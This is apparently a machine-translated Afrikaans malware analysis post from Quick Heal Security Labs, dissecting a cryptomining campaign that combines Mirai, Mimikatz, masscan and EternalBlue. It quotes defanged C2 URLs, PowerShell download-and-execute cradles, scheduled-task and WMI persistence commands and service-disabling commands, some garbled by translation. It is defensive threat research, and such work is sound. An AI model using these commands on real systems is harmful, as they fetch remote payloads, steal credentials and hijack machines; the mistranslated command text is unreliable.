Die afgelope jaar het Quick Heal Security Labs 'n toename in die aantal mynbou-wanware waargeneem. Een van die maniere om kriptogeld te verdien, is om dit te myn. Deesdae het kriptogeldeenheid-mynbou-wanware gewilde aanvalsvektore vir kubermisdadigers geword as gevolg van die gemak van ontplooiing en onmiddellike opbrengs op beleggings. Ons sien gewoonlik dat sulke mynwerkers verskillende tegnieke gebruik om dit aan 'n slagoffer te lewer. Aanvallers kan oorspronklike oopbronsagteware aflaai en dit effens wysig eerder as om hul eie module heeltemal te skryf.
In hierdie blogplasing sal ons praat oor 'n paar gevalle waar aanvalscenario's bo-op hierdie oopbron-instrumente gebou is. Ons sal ook praat oor hoe die tendens om oopbron-instrumente te misbruik vir die bou van nuwe wanware, wanware-outeurs help.
Die tendens word veral waargeneem in kriptokaping-gevalle. Alhoewel kriptokaping 'n direkte bron van inkomste vir kubermisdadigers is, kan gesteelde inligting van die slagoffer se stelsels addisionele geld vir kubermisdadigers oplewer. Dus word hierdie oopbron-instrumente vir verskeie doeleindes gebruik, soos die aflaai van raamwerke, inligtingdiefstal, kripto-ontginning, DNS-wisselaar, Mirai-bot en vele meer. Dit het baie gehelp om 'n botnet van soortgelyke gashere te vorm om meer hashes per sekonde te produseer. Sulke oopbron-instrumente is dikwels maklik beskikbaar op Github en soortgelyke platforms. Ons kan hulle klassifiseer as aanvalsraamwerke, kwesbaarheidskandeerders, wagwoorddief, voorreghysers, ens.
Infeksievektor:
Ons het 'n mynwerker-aflaaier ontvang wat verskeie komponente van die aanval aflaai. Hierdie skrip kan na u stelsel kom deur middel van strooiposse, kwaadwillige URL'e, gratis sagtewarebundelaars of enige konvensionele metode wat deur al die wanware-variante gebruik word. Ons vermoed ook dat 'n PowerShell-skrip die aanvanklike skuldige is. Die gedrag van die mynwerker is ietwat rekursief van aard, so ons kon nie die aanvanklike spoor daarvan in die stelsel bevestig nie.
Tegniese Analise:
Die mynwerker-aflaaier skep 'n lêer met die naam 'xpdown.dat' wat 'n paar IP-adresse van C2-bedieners bevat vanwaar dit verdere komponente aflaai.
45.58.135.106
103.95.28.54
103.213.246.23
74.222.14.61
Ok.xmr6b.ru
Dit laai dan die volgende lêers van die domeine af:
hxxp://45.58.135.106/xpdown.dat
hxxp://45.58.135.106/down.html
hxxp://45.58.135.106/ok/64.html
Dit bevat die IP wat die CPU Miner aflaai (174.128.248.10)
hxxp://45.58.135.106/kill.txt
Dit bevat die volgende lys van prosesse om dood te maak as dit op die slagoffermasjien loop.
lsmose.exe lsmos.exe conime.exe lsmosee.exe
1.exe lsazs.exe tasksche.exe Zationa.exe
csrs.exe shennong.bat svshpst.exe Spoolvs.exe
svchsot.exe xmrig.exe srvany.exe WinSCV.exe
csrswz.exe csrs.exe seser.exe severxxs.exe
mssecsvc.exe mssecsvr.exe dsbws.exe
Dan laai wanware 'n tekslêer af wat die inligting bevat van verskeie vragte wat afgelaai moet word.
hxxp://45.58.135.106/down.txt
En hierdie down.txt bevat die volgende skakels. Die kwaadwillige sagteware maak dan 'n TCP-poort 32381 op die stelsel oop.
hxxp://213.183.45.201/downs.exe (C:\windows\system\downs.exe)
hxxp://66.117.6.174/ups.rar (C:\windows\system\cab.exe)
hxxp://213.183.60.7/b.exe (C:\windows\inf\msief.exe)
hxxp://174.128.239.250/item.dll (C:\windows\debug\item.dat)
As ons na die skakels in die lêer kyk, het ons die volgende dinge waargeneem.
Downs.exe is 'n gewysigde weergawe van Microsoft "CACLS" (wat die toegangsbeheerlys vertoon en wysig). Ups.rar word afgelaai as cab.exe. Hierdie komponent is 'n aflaaier vir die Windows-variant van die Mirai-botnet. Dit dien ook as 'n DNS-wisselaar en maak 'n agterdeur in die stelsel oop. Met uitvoering voer dit verskeie bewerkings uit soos om die DNS-inskrywing in die gasheer met IP "223.5.5.5" te wysig, wat die geo-ligging in China het en die internetdiensverskaffer van die DNS is "Hangzhou Alibaba Advertising Co., Ltd."
Dan kontroleer dit of die gekompromitteerde masjien 'n vensterbediener is of nie deur GetVersionExA te roep. Dit laai update.txt af vanaf die C2-bediener, indien die masjien 'n bediener is, en val by "C:\windows\system\uplist.txt". Die uplist.txt bevat die volgende vrag om af te laai en uit te voer.
hxxp://66.117.6.174/wpd.jpg (C:\windows\system\msinfo.exe)
hxxp://66.117.6.174/my1.html (C:\windows\stelsel\my1.bat)
Dit laai ook npptools.dll, 64npf.sys, npf.sys, nsoak.dat, packet.dll en wpcap.dll af. Hierdie is lêers wat gebruik word vir die verwerking van netwerkpakkette wat deur msinfo.exe gelaai word tydens die uitvoering daarvan.
Kom ons kyk na hierdie komponente een vir een.
my1.bat:
Dit bevat die kode wat baie skelm en ontwykend is, aangesien dit verskeie tegnieke soos "Squiblydoo", "download cradle" en WMI Event Subscription persistence exploit gebruik om kwaadwillige inhoud op besmette masjiene te laat loop.
Die WMI-skrip bevat verskeie PowerShell-skripte.
powershell.exe IEX (Nuwe-Objek system.Net.WebClient).DownloadString('hxxp://173.208.139.170/s.txt')
Hierdie tekslêer bevat nog 'n PowerShell-aflaaier soos volg:
powershell.exe IEX (Nuwe-Objek system.Net.WebClient).DownloadString('hxxp://74.222.1.38/up.txt')
“Up.txt” bevat die kode wat inligting insamel rakende die stelselbedryfstelsel, fisiese geheue, lys van lopende prosesse met behulp van WMI-klasse en dan die Powershell-formaat van Mimikatz van Github aflaai.
Verder steel dit die geloofsbriewe van die gekompromitteerde masjien en laai dit op na die FTP-bediener IP: 192.187.111.66 met die hardgekodeerde FTP-bewys.
Msinfo.exe:
Dit is basies 'n Windows-weergawe van die Mirai-botnet. Meer van sy kode stem ooreen met Mirai-bronkode wat voorheen uitgelek is. Na uitvoering met die opdragreëlparameters "-create" en "-run" kontroleer dit die argitektuur van die huidige stelsel of dit x86, MIPS, ARM, ens. is. Gebaseer op die identifikasie, sal dit kyk vir die nuutste opdatering en aflaai indien beskikbaar.
Dit voer die volgende taak uit volgens 'n geïnkripteerde lêer wat van die C2-bediener afgelaai is.
- Implementeer die verspreidermeganisme deur dit in die vorm van blinde SQLi (sql-inspuiting) en brute force-tegnieke uit te voer deur die kraakbiblioteek en hydra-instrument te gebruik.
[Kraker:Telnet][Kraker:MSSQL] [Kraker:CCTV][Kraker:MS17010], KrakerWMI, KrakerSSH
- Dit skandeer verskeie poorte soos 80,8000,445, XNUMX, XNUMX met behulp van masscan (’n baie vinnige poortskandeerder, ’n oopbronprojek) wat soortgelyk aan nmap, die gewilde poortskanderingsinstrument, werk.
https://github.com/robertdavidgraham/masscan
- Deaktiveer spesifieke dienste deur die volgende opdrag aan te roep:
C:\Windows\system32\cmd.exe /c taskkill /f /im csrs.exe&sc stop netprofm&sc konfigurasie netprofm
begin = gedeaktiveer&sc stop NlaSvc&sc config NlaSvc begin=gedeaktiveer
- Dit voer ook 'n netwerkskandering uit waarvoor dit die publieke/private IP van die stelsel en al die gepaardgaande inligting soos geo-ligging, ens. insamel. Dan vervals die aanvaller sy eie IP teen die huidige stelsel-IP en gebruik masscan om ander toestelle te skandeer.
Deur hierdie stappe word hierdie stelsel in 'n bot omskep en by hul botnetwerk gevoeg. Die kode is in C++ ontwikkel en oor baie bronne versprei soos-
KontroleerOpdatering.cpp
Cracker_Inline.cpp
Kraker_Standalone.cpp
CTraadpoel.cpp
Logger_Stdout.cpp
Skandeerder_Tcp_Verbind.cpp
Skandeerder_Tcp_Raw.cpp
cDiens.cpp
BedienerAgent.cpp
Taak_Kraak_Ipc.cpp
Taak_Kraak_Mssql.cpp
Taak_Kraak_Rdp.cpp
Taak_Kraak_Ssh.cpp
Taak_Kraak_Telnet.cpp
Taak_Kraak_Wmi.cpp
Taak_Skanering.cpp WPD.cpp
Dit teiken basies IoT-toestelle wat ingebedde Linux bevat. Daarom het dit BusyBox (’n sagtewarepakket wat UNIX-hulpprogramme verskaf, ook bekend as die Switserse Leërmes van ingebedde Linux) gebruik om afstandbevele uit te voer nadat daardie toestelle gekompromitteer/gekraak is deur verskeie maniere wat hierbo genoem is.
VBS/BAT Agent Vir Aflaaimynwerker:
Eers sal die vrag afgelaai en uitgevoer word op die onderstaande plek in die slagoffermasjien.
hxxp://213.183.60.7/b.exe (afgelaai by C:\windows\inf\msief.exe)
By uitvoering sal dit die VBS- en batchlêer op die onderstaande plek laat val en die vbs-lêer uitvoer deur wscript.exe aan te roep wat uiteindelik die bat-lêer uitvoer.
C:\Windows\web\c3.bat
C:\Windows\web\n.vbs
Die bat-lêer bevat baie kode wat die eienskappe van sommige lêers/lêers sal verander, sommige spesifieke prosesse sal doodmaak, sommige lêers sal verwyder, die toegangsbeheer van sommige lêers/lêers sal verander, aanhoudend sal wees vir veelvuldige vragte in die stelsel via die register, taakskeduleerder, WMI-gebeurtenisintekening en ook die firewallbeleid sal verander deur 445,139 XNUMX poorte te blokkeer.
Daar is ook twee bykomende vragte wat afgelaai word vanaf een van die C2-bedieners wat in xpdown.dat teenwoordig is; een is 'n skyfskrywer, 'n DLL-lêer, wat by die "C:\Windows\debug"-ligging geplaas word. Dit sal uitgevoer word wanneer die stelsel begin, aangesien dit 'n inskrywing in die taakskeduleerder het wat deur die bogenoemde bat-lêer bygevoeg is.
schtasks /create /tn “Mysa1” /tr “rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa” /ru “system” /sc onstart /F
En die tweede een is die finale vrag, naamlik XMRig Monero Miner, 'n 64-bis uitvoerbare lêer wat afgelaai is vanaf hxxp://174.128.248.10/64.rar by "C:\windows\debug\lsmos.exe"
Tydens uitvoering pak dit homself uit en plaas 3 lêers in die huidige uitvoeringsmap, een is 'n uitvoerbare lêer (lsmose.exe -64-bis gepak met VM Protect) en twee DLL's (xmrstak_cuda_backend.dll en xmrstak_opencl_backend.dll), wat die mynwerker help om suksesvol uit te voer.
Nog 'n soortgelyke geval wat ons waargeneem het, 'n base64-gekodeerde PowerShell-skrip wat basies 'n kripto-myn sagteware is wat in die WMI-klas wegkruip om AV en die meeste van die sekuriteitsprodukte te ontduik as gevolg van sy geheime en unieke kenmerk.
Na dekodering kry ons die volgende kode:
Hier volg die basiese werkvloei van die wanware.
Tydens uitvoering word gekontroleer of die IP/Domein lewendig is of nie in die kode genoem word nie. Indien dit beskikbaar is, versoek dit 'n banier en ontvang 'n antwoord as ' SCM Event1 Log '.
Daarna vra die malware vir die 'FilterToConsumerBinding' WMI-klas deur die onderstaande opdrag uit te voer.
$a=([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding))
en kyk dan of dit ' SCM Event1 Log ' bevat. Indien nie teenwoordig nie, laai dit af en voer dit in6.ps1 (64-bis) of in3.ps1 (32-bis) uit deur Expression (IEX) aan te roep.
in6.ps1/in3.ps1:
Hierdie skrifte bestaan uit twee dele, die eerste deel is 'n base64-geënkodeerde Gzip-datastroom en die tweede deel bevat verduisterde kode. Na de-verduistering word die kode weer saamgestel soortgelyk aan die aanvanklike base64-geënkodeerde skrif met bykomende funksies.
Die geënkodeerde gzip bevat vier lêers soos hieronder genoem:
- 'mini' – Mimikatz, 'n geloofsbriewedief
- 'mon' – Monero CPU-myner
- 'funs' – Versameling funksies met die funksie om afgeleë DLL via WMI en ewige blou kwesbare skandering uit te voer.
- 'sc' – Skulpkode om op ander stelsels uit te voer en dieselfde vrag af te laai, indien dit kwesbaar is vir ewige blou.
Dit skep 'n WMI-klas "systemcore_Updater0" onder die naamruimte "root\default" en voeg eienskappe soos mimi, mon, funs, sc, ipsu en i17 by.
Dan stel dit die filternaam = "SCM Gebeurtenis1 Logfilter" en verbruikersnaam = "SCM Gebeurtenis1 Logverbruiker"
Wanneer 'n aanvaller WMI as 'n volhardingsmeganisme gebruik, moet gevalle van __EventFilter, _EventConsumer en __FilterToConsumerBinding geskep word en 'n _InstanceCreationEvent-gebeurtenis word geaktiveer.
In hierdie geval gebruik die aanvaller die volgende navraag as die EventFilter en bind dit met die aanvanklike base64-geënkodeerde skrip, wat uiteindelik ongeveer elke 3 uur uitgevoer sal word.
KIES * VAN __InsanceModificationEvent BINNE 10600 WAAR TargetInstance ISA Win32_PerfFormattedData_PerfOS_System
Dit het probeer om die taakskeduleerder-inskrywing " sysupdater0 " te verwyder, en kyk ook na "sysupdater0.bat" in %systemroot%. Indien dit bestaan, verwyder dit ook.
Wysig Windows se slaap-, winterslaap- en kragplaninstellings deur die volgende opdrag aan te roep:
powercfg /VERANDERING -standby-timeout-ac 0
powercfg /VERANDERING -hibernate-timeout-ac 0
powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
Dit verwyder alle WMI-voorwerpe in die __FilterToConsumerBinding-klas onder die naamruimte "root\subscription" as die filternaam nie ooreenstem met "SCM Event0 Log" nie.
Dan maak dit die proses dood as dit 'n "GEVESTIGDE" verbinding met poortnommer 3333, 5555 of 7777 het.
Dit maak 'n lys van PID's van lopende "Powershell"-prosesse en die netwerkverbindings van die stelsel. Dit kontroleer dan vir die proses met die "ESTABLISHED"-verbinding en geassosieerde poortnommer 80 of 14444 of 14433 of 443. Indien geen sulke prosesse bestaan nie en die aantal lopende PowerShell-prosesse minder as 8 is, voer dit die Monero Miner uit met behulp van die "funs"-module. Daarna voer dit die mimikatz uit en verwyder die geloofsbriewe ongeag die uitvoering van Monero Miner.
Dit lys ook die netwerkadresse en kontroleer die IP's wat aktief is en voeg dit by die eienskap genaamd 'ipsu'. Dit skandeer dan daardie IP's om die stelsels te identifiseer wat kwesbaar is vir MS17-010 (met Eternal Blue Scanner Script), stoor dit na die eienskap 'i17' en voer uiteindelik dopkode uit wat die ze3.ps1 of ze6.ps1 presies soortgelyk aan in3.ps1 of in6.ps1 sal aflaai gebaseer op die OS-argitektuur.
Shell-kode laai die PS-skrip af en voer dit uit om ander kwesbare stelsels te besmet. Op hierdie manier versprei en ontgin dit die ander stelsels op die netwerke.
So in beide gevalle word die oopbron-gereedskap swaar misbruik om die aanval uit te voer. Mimikatz, masscan, en Eternal Blue Vulnerability Scanner blyk gewilde gereedskap onder die outeurs van wanware te wees. Soortgelyke tegnieke word ook gebruik om die ransomware te versprei. Seqrite bespeur sulke aanvalle suksesvol op verskillende opsporingsvlakke.
Aanwyser van Kompromie:
790C213E1227ADEFD2D564217DE86AC9FE660946E1240B5415C55770A951ABFD
46BC86CFF88521671E70EDBBADBC17590305C8F91169F777635E8F529AC21044
AE161E582DE9EC380B3E0B295EFFD62EB8889AC35BC6631A9492CF41563ED14A
0E91F531A05C70B6CF3A8FA942B91A026A5B57069AA5B5C8DFE1EBCBC63AEAE9
EAEF82223EEB8CF404A1D46613D36B9E582304B215201B5E557DB578DD73E04E
30CDBB5C9E23758E8C74E9FDBAEE893D67D3BA42B3B09196CF98395738A67F56
7EC433DD0454553B09F11C39944E251E3EE32E4981F52F02ADC3011EB0CE6537
EA7CEDE3BCB8AD6A8E9FED3CB34F8E6746D445E2044455261EAD4E5092070408
88D338D9FC1990E3D48CDB7E704E785953271EEAB97F196BBCD0C4D2D76F7DC3
789CBE603582262914191882DEC7E6A6F1D61D062D2BDF21B8892BC5854C6196
9868C6F0F23FB81229E2EF765FF524602244384C420D14FFD5708341D85EF4CE
D256AF525680DF6A6178AD608D1700FE5178AA2F3EFE4A52DBCF7AD7EA524936
Onderwerpkundige:
Priyanka Shinde, Goutam Tripathy, Vallabh Chole
Sekuriteitslaboratoriums, Quick Heal Technologies, Bpk.
